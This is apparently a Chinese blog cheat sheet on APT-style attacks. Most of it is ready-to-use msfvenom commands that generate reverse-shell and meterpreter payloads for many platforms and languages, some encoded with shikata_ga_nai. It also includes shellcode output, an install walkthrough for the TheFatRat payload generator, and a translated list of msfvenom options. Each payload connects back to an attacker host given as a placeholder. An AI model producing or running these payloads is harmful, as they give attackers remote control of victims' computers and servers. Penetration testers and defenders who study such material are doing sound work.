专注APT攻击与防御

https://micropoor.blogspot.com/

windows:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

mac:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho

android:

//需要签名

msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk

powershell:

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

linux:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

php:

msfvenom -p php/meterpreter_reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

aspx:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx

jsp:

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp

war:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war

nodejs:

msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js

python:

msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 - f raw -o payload.py

perl:

msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.pl

ruby:

msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb

lua:

msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua

windows shellcode:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -f c

linux shellcode:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

mac shellcode:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

便捷化payload生成:

项目地址: https://github.com/Screetsec/TheFatRat

root@John:~/Desktop# git clone https://github.com/Screetsec/TheFatRat.git

//设置时需要挂墙

```
root@John:~/Desktop# git clone https://github.com/Screetsec/TheFatRat.git
Cloning into 'TheFatRat'...
remote: Counting objects: 13531, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 13531 (delta 0), reused 0 (delta 0), pack-reused 13528
Receiving objects: 100% (13531/13531), 281.75 MiB | 246.00 KiB/s, done.
Resolving deltas: 100% (4971/4971), done.
Checking out files: 100% (9891/9891), done.
```

```
root@John: ~/Desktop/TheFatRat# chmod +x fatrat
root@John: ~/Desktop/TheFatRat# chmod +x powerfull.sh
```

```
root@John:~/Desktop/TheFatRat# chmod +x setup.sh
root@John:~/Desktop/TheFatRat# ./setup.sh
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  osslsigncode python-capstone
Use 'sudo apt autoremove' to remove them.
O upgraded, O newly installed, O to remove and 1561 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be REMOVED:
  osslsigncode python-capstone
O upgraded, O newly installed, 2 to remove and 1561 not upgraded.
After this operation, 299 kB disk space will be freed.
(Reading database ... 358213 files and directories currently installed.)
Removing osslsigncode (1.7.1-2) ...
Removing python-capstone (3.0.4-3) ...
```

```
Create Payload with msfvenom ( must install msfvenom )
 MSFVENOM
Created by Edo Maland (Screetsec)
        LINUX >> FatRat.elf
        WINDOWS >> FatRat.exe
        ANDROID >> FatRat.apk
        MAC >> FatRat.macho
        PHP >> FatRat.php
        ASP >> FatRat.asp
        JSP >> FatRat.jsp
        WAR >> FatRat.war
        Python >> FatRat.py
     [10] Bash >> FatRat.sh
        Perl >> FatRat.pl
     [12] Back to Menu
Creator$FATRAT:>>
```

附录:

中文使用说明:

Options:

```
-p, --payload
                <payload>
                           使用指定的payload
    --payload-options
                         列出该payload参数
  -l, --list
             [type]
                     列出所有的payloads
                          为payload指定一个 nopsled 长度
                <length>
  -n, --nopsled
  -f, --format
               <format>
                          指定payload生成格式
    --help-formats
                        查看所有支持格式
                           使用编码器
  -e, --encoder
                <encoder>
  -a, --arch
               <arch>
                        指定payload构架
    --platform
                --help-platforms
                        显示支持的平台
  -s, --space
               <length>
                         设定payload攻击荷载的最大长度
                            The maximum size of the encoded payload
    --encoder-space <length>
(defaults to the -s value)
  -b, --bad-chars
                         指定bad-chars 如: '\x00\xff'
                 <list>
```

-i, --iterations <count> 指定编码次数

-c, --add-code <path> 指定个win32 shellcode 文件

-x, --template <path> 指定一个 executable 文件作为模板

-k, --keep payload自动分离并注入到新的进程

-o, --out <path> 存放生成的payload

-v, --var-name <name> 指定自定义变量

--smallest Generate the smallest possible payload

-h, --help 显示帮助文件

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